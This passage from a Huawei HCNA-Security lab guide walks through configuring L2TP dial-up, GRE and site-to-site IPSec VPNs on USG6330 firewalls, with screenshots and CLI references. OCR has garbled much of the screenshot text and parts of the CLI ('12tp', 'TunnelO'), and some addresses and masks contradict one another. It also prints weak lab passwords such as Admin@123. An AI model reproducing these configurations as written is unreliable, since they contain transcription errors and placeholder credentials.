9.1.5 Experiment Tasks

No. | Task Subtask Description
1 Configure the Perform basic Preconfigured
firewall. configuration
(including

configuring interface
addresses and adding
the interfaces to
security zones).

Enable L2TP.

Configure an L2TP 1. Set the local tunnel name.

group. 2. Configure tunnel authentication and
set an authentication password.

3. Set the remote tunnel name and
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No. | Task Subtask Description

virtual interface.

4. Configure virtual interface
addresses and add the virtual
interfaces to security zones.

Configure dialup user | Set the user name and password.

information.
Configure security Allow the dialup client and intranet
policies 12tp1 and server to communicate with each other.
12tp2.
Configure security Allow L2TP packets transmitted
policy 12tp3. between Untrust and Local zones to
pass through.
2 Set the dialup Set the VPN dialup client according to
client. the configuration on the firewall.

9.2 Experiment Task Configuration

9.2.1 Configuration Roadmap

1. Configure the LNS.

2. Enable L2TP.

3. Configure L2TP connection parameters.
4

Configure security policies.

9.2.2 Configuration Procedure

Step1 Enable L2TP.

Choose Network > L2TP > L2TP. In the Configure L2TP area, select Enable next to L2TP
and click Apply.
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L [TEET 'a - E P

=

wuawer USGB330

Dashboard Monitor Policy Obj

[m| Interface
(ie LTE 4G

[l Interface Pair L2TP

Configure L2TP

o=

@ Zone Idle Tunnel Timeout Enable

VXLAN
EZ DNS
[{@ DHCP Server

= Monitor

(=) Route L2TP Group List
'LP;’: drAdd §§ Delete
e Group Name Group Type
default-ins LNS

Step 2 Set connection parameters for the L2TP group.

In L2TP Group List, click Add and set L2TP group parameters.

Add L2TP

Group Mame

Group Type
Local Tunnel Name

Peer Tunnel Name
Tunnel Password Authentication

Password

Confirm Password

o1 ’
LAC e LNS
client
client *
Ll

sasssnssen *

It is recommended that the password contain at least 6
characters and at least two of the following character
types: uppercase letters, lowercase letters, digits, and
special characters.

Network  System

o=

Local Tunnel Name

-

Authentication Domain default w
Associated Zone untrust ~|?
L2TF Authentication PAP | CHAP

Tip: To ensure that the negotiation messages are interworking, you need to enable
the two-way security policy. [Add Security Policy]
User Address Assignment Setting

Server Address/iSubnet Mask(z) 102 162.1.1/24 *

IP Address Pool ® PeerAddress

Address/Address Pool

PeerAddress 192.168.1.10 *

+ | Advanced

Step 3 Configure dialup user information.

Choose Object > User > default. In User Management, click Add and select Add User. Set
the dialup user name to user001 and password to Admin@123.
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Huawei 1 I:
noawer  USGE330 Dashboard Monitor Poli: Object

o =

Metwork  System

[E] Certificates
EZLocal Certificates

User Management

[y CA Certificates Scenario | Online behavier management | SSLVPM access v/ L2TP/IL2TP ow
EJCRL
1 Authentication Mode and Policy Settings
[E} Certificates Filtering
Address Internet Access Authentication Mode Portal authentication x *
@ Region Data Flow [Configure Authentication Policy]
,,E_,’;-‘ Service 2 User Configuration
¥ Application User Location | Local Authentication server

& User Local User [Import User] [Import Security Group]

&5 Authentication Dom:

User/User Group/Security Group Management List

fing Authentication Polic) e |:‘,]: Addw IR Delete [ Modify B Copy [&Exporty BManage Users by Organizational Structure

B Authentication Optio New Maximize ) Re
Add User T X
User Name userdil +
Display Name
Description
User Group Idefault [Select]
Security Group [Seleci]
Password *
The password must be a string of G to 16 characters and must contain at least three
of the following character types: uppercase letiers, lowercase letters, digits, and
special characters. The password cannot be the same as the user name.
Confirm Password *
= | User Attributes
0K Cancel
Step 4 Configure security policies.
Choose Policy > Security Policy. Click Add Security Policy to create a policy.
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Huawei
USG6E330

HUAWE]

Security Policy
o
-[fg] Policy Redundancy Anz
-7} Policy Matching Analysi
% Application Policy Tunir
ks NAT Policy
E# Server Load Balancing

3
|

Object

Dashboard Monitor Policy

Security Policy List

I:ﬂ:- Add Security Policy I =F Add Security Policy Group

@&, Enter a keyword.

Index  Name Descri... Tag

o =

Network  System

$2 Delete B Copy & Movew

(&) Add Filter

Source... Destin... Source..

Create security policies 12tp1 and 12tp2 to allow access between the dialup user and intranet

SCrver.

Add Security Policy ? X
Name 12tp1 * -
Description
Policy Group -- NOME - w
Tag Select or enter a tag.
Source Zone trust || [Mulfiple]
Destination Zone untrust w || [Multiple]
Source Address/Region(?) 10.1.1.024 x
Destination Address/Region(?) Select or enter an address
User(®) Select or enter a user name. [Multiple]

Access Mode(?) Select an access mode.

Device(?) Select or enter a device.
Service(?) Select or enter a service.
Application Select or enter an application. [Multiple]

Specifying application will automatically enable the SA
funcfion. This function reduces system performance.
URL Category Select or enter a url category. [Multiple]
Schedule Select a fime range. w
Action Deny -
OK OK and Copy Cancel
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Add Security Policy ? X
Name 12tp2 - *
Description

Policy Group

Tag

Source Zong [Multiple]

Destination Zone [Multiple]

Source Address/Region(?)

Destination Address/Region(2) 101.1.0/24 x

User(?) Select or enter a user name. [Mulfiple]

Access Mode(3) Select an access mode.
Device(?) Select or enter a device.
Semvice(?) Select or enter a service.
Application Select or enter an application. [Multiple]
Specifying application will automatically enable the SA
function. This function reduces system performance.

URL Category Select or enter a url category. [Multiple]

Schedule Select a time range.

Action ® Permit Deny =

OK OK and Copy Cancel

Configure security policy 12tp3 to allow L2TP dialup packets to pass through.

Add Security Policy ? X
Mame 12tp3 . -
Descripfion
Policy Group -- MOME -
Tag Select or enter a tag.
Source Zone local untrust [Multiple]
Destination Zone local untrust [Multiple]
Source Address/Region(?) Select or enter an address.
Destination Address/Region(2) Select or enter an address.
User(® Select or enter a user name. [Multiple]
Access Mode(2) Select an access mode.
Devica(?) Select or enter a device.
Service(?) Select or enter a service.
Application Select or enter an application. [Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance.

URL Category Select or enter a url category. [Multiple]
Schedule Select a ime range.
Action e Permit Deny o

oK OK and Copy Cancel
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Step 5 Configure the VPN client.

' MNew Connection ll

— s . ek e = LR

—L2TP Configuration =

Connection Mame:

|LzTP
Description:

LMS Server Address:
(?J Impart |2D.1.1.1 -

— Turnhel Configuration —

Tunne Marme:

Iclient

Authentication Mode:

|cHap |

¥ Enable Turnel authentication
I-E‘| 'W'ﬂﬁt@ﬁ'@lﬂﬂﬁﬁaﬁmr&r Mo

Lse WPMN connections to access the following addresses:

IP Address ISubnet Mask | 'E":)
~10,1,1.0 230.235.233.0 ®

——End

9.3 Verification

After setting the VPN software of the dialup user, click Connect, enter the user name and
password, and click Login.
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Huswel

SecoClient

—Login Infarmation

Server Address: |20.1.1.1

User Mame: IuserEIEH

Fassword: II'III""'

W Save password ™ Automatic login

Login

SecoClient

Connect: |L2TF'

Disconnect

On the LNS, choose Network > L2TP > Monitor to view the L2TP session.

Huawei Cument User: admin  Commit Save Help About Change Password Logout
USGB330

= =

Dashboard Monitor

E )

Policy  Ob

&

Network  System

(@) Interface

(0 LTE 46

[Z Interface Pair
@ Zone Local Tunnel ID
B vxuan 1

L2TP Tunnel Monitoring
@ Disconnect (@ Disconnect All @) Refresh

Peer Tunnel ID  Local Address
1 20111

Peer Address Sessions Peer Tunnel Name

20.1.1.10 1701 1 client2

g3 EJ DNS
£ (@ DHCP Server
& & Route
£ @4 PSec
= e l2TP

wal2TP

e Monilorl

After the remote dialup is complete, access intranet server Serverl. The ping command is
used to test connectivity. The access succeeds.

C:\Users\admin>ping 10.1.1.10
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Pinging 10.1.1.10 with 32 bytes of data:

1.1.10: bytes=32 time=3ms TTL=127
1.1.10: bytes=32 time=1lms TTL=127
1.1.10: bytes=32 time=1lms TTL=127
1.1.10: bytes=32 time=1lms TTL=127

Reply from 10.
Reply from 10.
Reply from 10.
Reply from 10.

Ping statistics for 10.1.1.10:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = lms, Maximum = 3ms, Average = lms

9.4 Configuration Reference

9.4.1 LNS Configuration

#

sysname LNS

#

12tp enable

#

12tp-group gl

allow 12tp virtual-template 0 remote client
tunnel password cipher Passwordl23
tunnel name client

#

interface Virtual-TemplateO

ppp authentication-mode chap pap
remote address 192.168.1.10

ip address 192.168.1.1 255.255.255.0

#

interface GigabitEthernetl1/0/0

ip address 10.1.1.1 255.255.255.0

#

interface GigabitEthernetl/0/2

ip address 20.1.1.1 255.255.255.0

#

firewall zone trust

add interface GigabitEthernetl/0/0

#

firewall zone untrust

add interface GigabitEthernetl/0/2
add interface Virtual-TemplateO

#

security-policy

rule name 12tpl
source-zone trust
destination-zone untrust
source-address 10.1.1.0 mask 255.255.255.0
action permit

rule name 12tp2
source-zone untrust

destination-zone trust
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destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name 12tp3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service 1l2tp
action permit
#
return
# The following user configuration is saved in the database, not in the configuration
file.
user-manage user user001
parent-group /default
password Admin@123

9.5 Question

If security policy 12tp1 is deleted, can the dialup be successful? Can the dialup user access
Serverl on the intranet?
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GRE VPN

10.1 Experiment Overview

10.1.1 About This Experiment

FW1 and FW2 are connected over the Internet and have reachable public routes to each other.
Networks 1 and 2 are private IP networks and use static routes. A GRE tunnel needs to be
established between the firewalls to enable the private IP networks to exchange static route
information over the Internet.

10.1.2 Objectives

®  Understand the basic principle of GRE VPN dialup.
®  Configure a GRE VPN.

10.1.3 Experiment Networking

Figure 10-1 GRE VPN topology

FW1 GE1/0/4 GE1/0/4 FW2
40.1.1.1/24 40.1.1.2/24
Tunnel1 Tunnel1

GE1/0/0 172.16.2.1/24 172.16.2.2/24 GE1/0/1
10.1.1.1/24 ( ERE Tl () 10.1.2.2/24
Server1 PC1
10.1.1.10/24 10.1.2.10/24
Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 96

https://t.me/learningnets



HCNA-Security

Experiment Guide for Network Security Engineers

10 GRE VPN

10.1.4 Experiment Planning

Table 10-1 GRE VPN experiment planning

Item

Data

Description

FW1

Interface: GE1/0/0
IP address: 10.1.1.1/24

Security zone: trust

Interface: GE1/0/4
IP address: 40.1.1.1/24

Security zone: untrust

GRE tunnel planning

Interface: Tunnel 1
Security zone: DMZ

Tunnel IP address:
172.16.1.1/24

Source address: 40.1.1.1/24
Destination address: 40.1.1.2/24

Fw2

Interface: GE1/0/1
IP address: 10.1.2.2/24

Security zone: trust

Interface: GE1/0/4
IP address: 40.1.1.2/24

Security zone: untrust

GRE tunnel planning

Interface: Tunnel 1
Security zone: DMZ

Tunnel IP address:
172.16.1.2/24

Source address: 40.1.1.2/24
Destination address: 40.1.1.1/24

PC1

IP address: 10.1.2.10/24
Gateway address: 10.1.2.2

Serverl

IP address: 10.1.1.10/24

Gateway address: 10.1.1.1

Serverl simulates a PC user.
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10.1.5 Experiment Tasks

interface addresses and
adding the interfaces to
security zones).

No. | Task Subtask Description
1 Configure the | Perform basic configuration Preconfigured
firewall. (including configuring

Disable G1/0/1 and G1/0/2 on
FWI1.

Due to the address planning
issue, the interfaces must be

Disable G1/0/0 on FW2. disabled to prevent the adverse
impact on this experiment.
Add a GRE interface. 1. Configure an address for the

tunnel interface.

2. Add the tunnel interface to a
security zone.

3. Set the source and
destination addresses for the
packets encapsulated by the
tunnel interface.

Configure a route to the peer.

Configure security policies
grel and gre2.

Allow the network segments to
communicate with each other.

Configure security policy
gre3.

Allow GRE packets transmitted
between Untrust and Local
zones to pass through.

10.2 Experiment Task Configuration

10.2.1 Configuration Roadmap

Configure GRE.

wohk W=

Complete basic configurations.
Configure the tunnel interface.
Configure a route to the peer.

Configure security policies.

10.2.2 Configuration Procedure

Step 1 Configure the tunnel interface.

Add a GRE interface on FW1. Set the source address to 40.1.1.1 and destination address to
40.1.1.2 for the packets re-encapsulated by the tunnel interface, and add the created GRE
tunnel interface to the DMZ.
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*  Huawei

nuawel . USG6330
Interface
(1o LTE 4G
[;, Interface Pair
&) Zone
VXLAN
&7 DNS
[ DHCP Server
= Route
£f IPSec
i L2TP
% L2TP over IPSec
4=h GRE

GRE Intg

© =

Inter|

Dashboard Monitor

2 el

Policy
Add GRE Interface

Interface Name
Virtual System(z)
Zone

IP Address/Mask

Source Address Configuration
Source IP Address
Destination Address Configuration

Destination IP Address

Network

tunnelt
public
dmz

172.16.1.1/30
[ip: To ensure th
nable the two-w
e |P Address
40111

e P Address

401.1.2

" L =

Object

System

*

t packets are passed before encap

by security policy. [Add Security Pol

Interface

Domain

*

Tip: To ensure that packets are encapsulated, you ne
way security policy. [Add Security Policy]

Add a GRE interface on FW2. Set the source address to 40.1.1.2 and destination address to
40.1.1.1 for the packets re-encapsulated by the tunnel interface, and add the created GRE

tunnel interface to the DMZ.

Huawei
USGE330

HLUAWEL

Interface

(ie LTE 4G

[l Interface Pair
& Zone

B3 vxian

=9 DNS

{75 DHCP Server
= Route

g 1PSec

aep L2TP

% L2TP over IPSec
g=p GRE

oE'G:BGRE I

e

Inter,

Step 2 Configure a route to the peer.

Dashboard Monitor

GRE Int{ Add GRE Interface

-

Policy

Interface Name
Virtual System(®)
Zone

IP Address/Mask

Source Address Configuration
Source IP Address
Destination Address Configuration

Destination IP Address

Network

O & &

Object

System

tunnelt
public

dmz

172.16.1.2/30

e |P Address

40.1.1.2
&) |P Address

40111

*

*

fip: To ensure tha packets are passed before encaps
Enable the two-w3

/ security policy. [Add Security Polig
Interface

Domain

*

Tip: To ensure that packets are encapsulated, you ne¢
way security policy. [Add Security Policy]

Configure a static route to 10.1.2.0/24 on FW 1. The outbound interface must be the tunnel

interface.
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*  Huawei

USGB330

HUAWEL

Interface

(1e LTE 4G

£l Interface Pair

&) Zone

B3 vxLaN

B DNS

[{& DHCP Server

[=| Route

é"Ir'neIIigem Uplink Sel
{& virtual Router

e Static Route

Dashboard Monitor

Policy

Configure Default Priority

“o & =

Object  Network  System

IPY  Add Static Route
IP
Protocol
Source Virtual Router
Destination Address/Mask
Static Rotl Destination Virtual Router
Interface
© [+~ |
Next Hop
Sourcy
Priority

e |Pyd IPvE
pullic w

*
public v

.

~A CE-

Configure a static route to 10.1.1.0/24 on FW2. The outbound interface must be the tunnel

interface.

’ Huawei

USG6330

HUAWEI

Interface

(i» LTE 4G

[l Interface Pair

&5 Zone

ER v AN

Eg DNS

[& DHCP Server

[=| Route

Intelligent Uplink Sel
{5 virtual Router

O [L 5o

Dashboard Monitor

=]
Policy

Configure Default Priority

"ol & | =

Object MNetwork  System

IPY  Add Static Route
IP
Protocol
Source Virtual Router
Destination Address/iMask
Static Ro Destination Virtual Router
Interface
e R Add | 84
MNext Hop
Sourcy
Priarity

Step 3 Configure security policies.

e |Pvd IPvE

public w
10.1.1.0/24

public w

.

=4 _TCE-

Configure security policies to allow network segments 10.1.1.0/24 and 10.1.2.0/24 to
communicate with each other and allow GRE packets to pass through. The configuration on
FW1 is used as an example to describe how to create security policies grel and gre2 to allow
the network segments to communicate with each other.
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Add Security Policy

MName
Description
Policy Group
Tag
Source Zone
Destination Zone
Source Address/Region(?)
Destination Address/Region @)
User(?)
Access Mode(?)]
Device(?)
Semvice(?)

Application

URL Category
Schedule

Action

Add Security Policy
Name
Description
Folicy Group
Tag
Source Zone
Destination Zone
Source Address/Region(®)
Destination Address/Region(®)
User(2)
Access Mode[(Z)]
Device(?)
Senvice(?)

Application

URL Category
Schedule

Action

grei

- NONE -

Select or enter a tag.

trust
dmz
10.1.1.0/24 x

10.1.2.0/24 x

Select or enter a user name.
Select an access mode.
Select or enter a device.
Select or enter a service.

Select or enter an application.

[Multiple]
[Multiple]

[Multiple]

[Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance.

Select or enter a url category.

Select a ime range.

® Permit Deny

gre2

- NONE -

Select or enter a tag.

dmz
trust
10.1.2.0024 x

10.1.1.0024 %

Select or enter a user name.
Select an access mode.
Select or enter a device.
Select or enter a service.

Select or enter an application.

[Multiple]

OK OK and Copy Cancel

w
x

[Multiple]

[Multiple]

[Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance.

Select or enter a url category.

Select a fime range.

e Permit Deny

[Multiple]

QK OK and Copy Cancel

Configure security policy gre3 to allow GRE packets to pass through.
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Add Security Policy
Name
Description
Policy Group
Tag
Source Zone
Destination Zone
Source Address/Region(?)
Destinafion Address/Region(?)
User(?)
Access Mode(3)
Device(?)
Service(?)

Application

URL Category
Schedule

Action

Select or enter a tag

local, untrust w || [Vl

local untrust «||[Mul

Select or enter an address

Select or enter an address

Select or enter a user name [Mu
Select an access mode

Select or enter a device

Select or enter an application. [Mu

Specifying application will automatically enable the SA
function. This function reduces system performance

Select or enter a url category. M
Select a fime range. -

e Permit Deny

tiple]

fiple]

fiple]

fiple]

fiple]

-

For details about how to configure security policies on FW2, see the configuration on FW1.

——End

10.3 Verification

Run the ping command on Server1 to test connectivity to PC1.

C:\Users\admin>ping 10.1.2.10

Pinging 10.1.2.10
Reply from 10.
Reply from 10.
Reply from 10.

e

Reply from 10.

.2,

2
.2,
2

with 32 bytes of data:

10:
.10:
10:
.10:

bytes=32 time<lms TTL=128
bytes=32 time<lms TTL=128
bytes=32 time<lms TTL=128
bytes=32 time<lms TTL=128

Ping statistics for 10.1.2.10:

Packets: Sent

4,

Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = Oms,

Maximum = Oms,

Average = Oms

Run the ping command on PC1 to test connectivity to Serverl.

C:\Users\admin>ping 10.1.1.10

Pinging 10.1.2.10 with 32 bytes of data:

Reply from 10.1.1.10:
Reply from 10.1.1.10:

bytes=32 time=2ms TTL=127
bytes=32 time=1lms TTL=127
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Reply from 10.1.1.10: bytes=32 time=1lms TTL=127
Reply from 10.1.1.10: bytes=32 time=1lms TTL=127

Ping statistics for 10.1.1.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = lms, Maximum = 2ms, Average = lms

Check GRE monitoring information on FW1.

Huawei w = \ [ !
USG6330 Iz = 2D in =

iz Dashboard Monitor  Policy =~ Object Network System
m) Interface GRE Monitoring
(e LTE 4G
[1 Interface Pair 91
& Zone Properties Value
VXLAN GRE Packets Received
&3 DNS _
= Packets Received 12
[[= DHCP Server
& Route Data Received (bytes) 1008
& IPsec Sum of Packets and Fragments 12
e L2TP GRE Version Errors 0
% L2TP over IPSec GRE Checksum Errors 0
4=p GRE
GRE Key Errors 0
GPGRE
e GRE Packets Sent
DSVPN Packets to Send 30
& SSL VPN Data to Send (bytes) 2292
9 saca Error Packets Sent 4
Packets Exceeding the Recursion Limit 0
Packets Sent 26

10.4 Configuration Reference

10.4.1 FW1 Configuration

#

sysname FW1

#

interface GigabitEthernetl1/0/0
ip address 10.1.1.1 255.255.255.0
service-manage ping permit

#

interface GigabitEthernetl/0/1
shutdown

#

interface GigabitEthernetl/0/4

undo shutdown
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ip address 40.1.1.1 255.255.255.0
service-manage ping permit
#
interface Tunnell
ip address 172.16.1.1 255.255.255.0
tunnel-protocol gre
source 40.1.1.1
destination 40.1.1.2
#
firewall zone trust
add interface GigabitEthernetl/0/0
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
firewall zone dmz
add interface Tunnell
#
ip route-static 10.1.2.0 255.255.255.0 TunnelO
#
security-policy
rule name grel
source-zone trust
destination-zone dmz
source-address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name gre2
source-zone dmz
destination-zone trust
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name gre3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service gre
action permit
#

return

10.4.2 FW2 Configuration

#

sysname FW2

#

interface GigabitEthernetl/0/0
shutdown

#

interface GigabitEthernetl/0/1
undo shutdown

ip address 10.1.2.2 255.255.255.0

service-manage ping permit
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#
interface GigabitEthernetl/0/4
undo shutdown
ip address 40.1.1.2 255.255.255.0
service-manage ping permit
#
interface Tunnell
ip address 172.16.1.2 255.255.255.0
tunnel-protocol gre
source 40.1.1.2
destination 40.1.1.1
#
firewall zone trust
add interface GigabitEthernetl/0/1
#
firewall zone untrust
add interface GigabitEthernetl/0/4
#
firewall zone dmz
add interface Tunnell
#
ip route-static 10.1.1.0 255.255.255.0 TunnelO
#
security-policy
rule name grel
source-zone trust
destination-zone dmz
source-address 10.1.2.0 mask 255.255.255.0
destination-address 10.1.1.0 mask 255.255.255.0
action permit
rule name gre2
source-zone dmz
destination-zone trust
source-address 10.1.1.0 mask 255.255.255.0
destination-address 10.1.2.0 mask 255.255.255.0
action permit
rule name gre3
source-zone local
source-zone untrust
destination-zone local
destination-zone untrust
service gre
action permit
#

return

10.5 Question

If the IP addresses of the two tunnel interfaces in this experiment are on different network
segments, will the test result be affected? Why?
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1 1 Site-to-Site IPSec VPN

11.1 Experiment Overview

11.1.1 About This Experiment

Network A and network B connect to the Internet through FW1 and FW2, respectively. After
an IKE IPSec tunnel is established between FW1 and FW2, users on networks A and B can
communicate with each other through the IPSec tunnel.

11.1.2 Objectives

®  Understand the basic principle of [IPSec VPN.
®  Configure an [PSec VPN.

11.1.3 Experiment Networking

Figure 11-1 Site-to-site [PSec VPN topology

10.1.1.1/24 40.1.1.1/24 40.1.1.2/24 10.1.2.1/24
GE1/0/0 GE1/0/4 GE1/0/4_ Network B \ Ge1/0/1
° =N R
N
& e

Internet ()

PC1
Server1 Fwi1 FW2 61210024
10.1.1.10/24

C IPSec tunnel O

11.1.4 Experiment Planning

Figure 11-2 IPSec VPN experiment planning

Item Data Description

FW1 Interface: GE1/0/0
IP address: 10.1.1.1/24

Security zone: trust
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Item

Data

Description

Interface: GE1/0/4
IP address: 40.1.1.1/24

Security zone: untrust

IPSec planning

Scenario: site-to-site
Peer address: 40.1.1.2

Authentication mode:
pre-shared key

Pre-shared key: Test!123
Local ID: IP address
Peer ID: IP address

Fw2

Interface: GE1/0/1
IP address: 10.1.2.2/24

Security zone: trust

Interface: GE1/0/4
IP address: 40.1.1.2/24

Security zone: untrust

IPSec planning

Scenario: site-to-site
Peer address: 40.1.1.1

Authentication mode:
pre-shared key

Pre-shared key: Test!123
Local ID: IP address
Peer ID: IP address

PC1

IP address: 10.1.2.10/24
Gateway address: 10.1.2.2

Serverl

IP address: 10.1.1.10/24

Gateway address: 10.1.1.1

Serverl simulates a PC user.

11.1.5 Experiment Tasks

Task

Subtask

Description

Configure the | Perform basic configuration
firewall. (including configuring interface

addresses and adding the
interfaces to security zones).

Preconfigured
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No.

Task

Subtask

Description

Disable G1/0/1 and G1/0/2 on
FWI1.

Disable G1/0/0 on FW2.

Due to the address planning
issue, the interfaces must be
disabled to prevent the adverse
impact on this experiment.

Configure a route to the peer.

Configure security policies
ipsecl and ipsec2.

Allow network A and network
B to communicate with each
other.

Configure security policies
ipsec3 and ipsec4.

Allow IKE negotiation packets
and encrypted packets to pass
through.

(Optional) Configure an
[PSec/IKE proposal.

Use the default parameter
settings.

Configure an IPSec policy.

Apply the IPSec policy.

After the configuration is
complete, click Apply at the
bottom of the dialog box, so
that the configuration is saved
and takes effect.

11.2 Experiment Task Configuration

11.2.1 Configuration Roadmap

wohk W=

Configure site-to-site IPSec.

Configure a route to the peer.

Configure an interzone security policy.

Configure an IPSec/IKE proposal.

Configure and apply an IPSec policy.

11.2.2 Configuration Procedure

Step 1 Configure a route to the peer.

On FW1, choose Network > Route > Static Route and click Add to create a route to network

B.
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Huawei e - -
woawer  USGB330 =) MOF: (=

Dashboard Monitor Policy Object  Network  System

Interface Configy : ]
(to LTE 4G Add Static Route 3
[l Interface Pair |l Protocol e IPv4 IPvé
&) Zone [ Source Virtual Router public v
B VXLAN Destination Address/Mask 10.1.2.0/24 *
&3 DNS S ;
Destination Virtual Router public v
[{@ DHCP Server
o Route Interface — NONE -- w
; Static R Next Ho
faaal Intelligent Uplink Sel ° %t Hop 40.1.1.2
Add o
{8 Virtual Router Priority 60 <1-255>=
o b, Static Route Sou| Reliability Detection ®) No Detection EFD Binding IP Link Binding

On FW2, choose Network > Route > Static Route and click Add to create a route to network
A.

Huawei - ) 9 [ |
USGE330 Ia =] @ & ()

HUAWE]

Dashboard Monitor Policy Object  Network  System

Interface ey .
{ts LTE 4G Add Static Route
(L Interface Pair | Protocol ® IPvd IPv6
@ Zone | Source Virtual Router public -
g B Destination AddressiMask 10.1.1.0/24 *
@ DNS o )
Destination Virtual Router public )
[{® DHCP Server
Interface — NOME - ~
Route
= Static R Next Ho
- @a Intelligent Uplink Sel e HLHop 40.1.1.1
~ Add -
-{& Virtual Router Priority B0 «1-255=
° @ Static Route Sou| Reliability Detection # No Detection BFD Binding IP Link

Step 2 Configure security policies.

Configure security policies ipsecl and ipsec2 on the firewalls to allow network A and
network B to communicate with each other. Configure security policies ipsec3 and ipsec4 to
allow IKE negotiation packets and encrypted data packets to pass through. The configuration
of FW1 is used as an example. The configuration of FW?2 is similar to that of FW1.

On FW1, choose Policy > Security Policy > Security Policy and click Add to allow network
segments 10.1.1.0/24 and 10.1.2.0/24 to communicate with each other.
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Add Security Policy 2
Mame ipsect *

Description
Policy Group - NONE -
Tag Select or enter a tag.
Source FZone trust [Multiplg]
Destination Zone untrust [Multiple]
Source Address/Region(®) 10.1.1.0/24 x
Destination Address/Region(?) 10.1.2.0/24 x
User(® Select or enter a user name. [Multiple]
Access Mode(?) Select an access mode.
Device(®) Select or enter a device.
Service(?) Select or enter a service.
Application Select or enter an application. [Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance

URL Category Select or enter a url category. [Multiple]

Schedule Select a time range.

Add Security Policy T >
Name ipsec2 *

Description

Policy Group — NONE —

Tag Select or enter a tag.

Source Zone untrust [Multiple]

Destinafion Zone trust [Multiple]

Source Address/Region(?) 10.1.2.0024 %

Destination Address/Region(?) 10.1.1.0024 x

Usen(z) Select or enter a user name. [Multiple]

Access Mode (2) Select an access mode.
Device(?) Select or enter a device.
Senice(?) Select or enter a service.
Application Select or enter an application. [Multiple]
Specifying application will automatically enable the SA
function. This function reduces system performance

URL Category Select or enter a url category. [Multiple]

Schedule Select a time range.

Action Deny
On FW1, choose Policy > Security Policy > Security Policy, and click Add to allow IKE
negotiation packets transmitted between Untrust and Local zones to pass through.
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Add Security Policy
Name

Description

Policy Group

Tag

Source Zone

Destination Zone

Source Address/Region(%)

Destinafion Address/Region(z)

User(?)
Access Mode(?)
Device(?)
Service(2)

Application

URL Category
Schedule

Action

Add Security Policy
Name

Description

Policy Group

Tag

Source Zone

Destination Zone

Source Address/Region(%)

Destinafion Address/Region(?)

User(z)
Access Model(?)
Device(?)
Service(?)

Application

URL Category
Schedule

Action

ipsec3

- NONE -

Select or enter a tag.

local

untrust

40.1.1.1/32 %

40.1.1.2/32 %

Select or enter a user name.
Select an access mode.
Select or enter a device.
Select or enter a service.

Select or enter an application.

[Multiple]
[Multiple]

[Multiple]

[Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance

Select or enter a url category.

Select a time range.

Oeny

ipsecd

- NONE —

Select or enter a tag.

untrust

local

40.1.1.2/32 %

40.1.1.1/32 %

Select or enter a user name.
Select an access mode.
Select or enter a device.
Select or enter a service.

Select or enter an application.

[Multiple]

[Multiple]
[Multiple]

[Multiple]

[Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance

Select or enter a url category.

Select a time range.

e Permit Deny

Step 3 Configure an IPSec policy.

On FW1, choose Network > IPSec > IPSec, click Add, and set Scenario to Site-to-site.

[Multiple]

|

In Basic Configuration, set [PSec parameters, including the pre-shared key (Test!123) and
source and destination addresses.
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Huawei
s USGEIZ0

E B B 5 a ®

Dashboard Monitor Policy Object Network System

|m| Interface Scenario + Site-to-site Site-to-multisite
(w LTE 4G
8} [METFEE R s This mode is used in the scenario where the peer
& Zone . m device is a single gateway.
VXLAN » The local device is & branch gafeway in a star
&g DNS @ topology, or the gateway at either end of a tunnel.
@ DHCP Server o) » The peer device has a fixed IP address or domain
= Route name.
i [PSec IF(?S?HOT1 telligent Link Selecti
o TEiPSec ec Intelligent Link Selection
= Monitor 1 Virtual System Configuration
e L2TP Virtual System public v
w2 L2TF over IPSec ; ) i
«s GRE 2 Basic Configuration
ﬁ DSVPM Policy Name policy
E3 SSL VPN Local Interface(® GE1/0/4 =|[* [Configure]
¥ SACG Local Address(z 40111 5
Peer Address 40112 A reachable route exists.
Tip: To ensure that the negotiation messages are interworking, you ne
Security Policy]
Authentication Type(» e Pre-Shared RSA RSA Digital
Key Signature Envelope
Pre-Shared Key
Local ID@ IP Address v 40.1.1.1
Peer ID IP Address | la0112

On FW1, click Add in the Data Flow to Be Encrypted area to add a data flow.

Huawei '= __.J % ' .r!‘b IE:

wwer USGE330 : : J
Dashboard Monitor Policy Object MNetwork System

lm| Interface

e LTE 46 Peer Address 40112 A reachable route exists.
[l Interface Pair Tip: To ensure that the negotiation messages are interworking, you
& Zone Security Policy]
VXLAN Authentication Type® @ Pre-Shared RSA RSA Digital
= Key Signature Envelope
Ex
¥ DNS Pre-Shared Key *
DHCP Server
= Route Local ID@ IP Address [ 40111
{4 IPSec PeerID Add Data Flow
IPSec
e 3/ Data Flow to Be Enc Define packets on which to implement IPSec encryption.[Show E
= Monitor
o L2TP Address Type Source Address or Group | 1p.1.1.0/24 =
w& L2TP over IPSec Destination Address or Grou 101 2 0/24 ~
& GRE © | +ra |l Delete 0 protocol any =
Ed DSVPN Source oniE
3 SSL VPN Address or Grg Action@ Encrypt -
¢ SACG Tip: To ensure data flow business interoperability, need to enable a 1

On FW2, choose Network > IPSec > IPSec, click Add, and set Scenario to Site-to-site.

In Basic Configuration, set [PSec parameters, including the pre-shared key Test!123.
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Huawei

USG6330

HLUAWED

|m| Interface

s LTE 4G

1 Interface Pair
& Zone

VXLAN

&g DNS

@ DHCP Server
= Route

= Monitor
wp L2TP
w2 L2TF over IPSec
= GRE
g4 DSVPN
Ed SSL VPN
¥ SACG

Dashboard Monitor

e e Site-to-site

Add IPSec Policy

Scenario

Option

BE Bl A=

Policy Object Network System

Site-to-multisite

» This mode is used in the scenario where the peer
device is a single gateway.
s The local device is a branch gateway in a star
o topology, or the gateway at either end of a tunnel.
« The peer device has a fixed IP address or domain
name.

L m

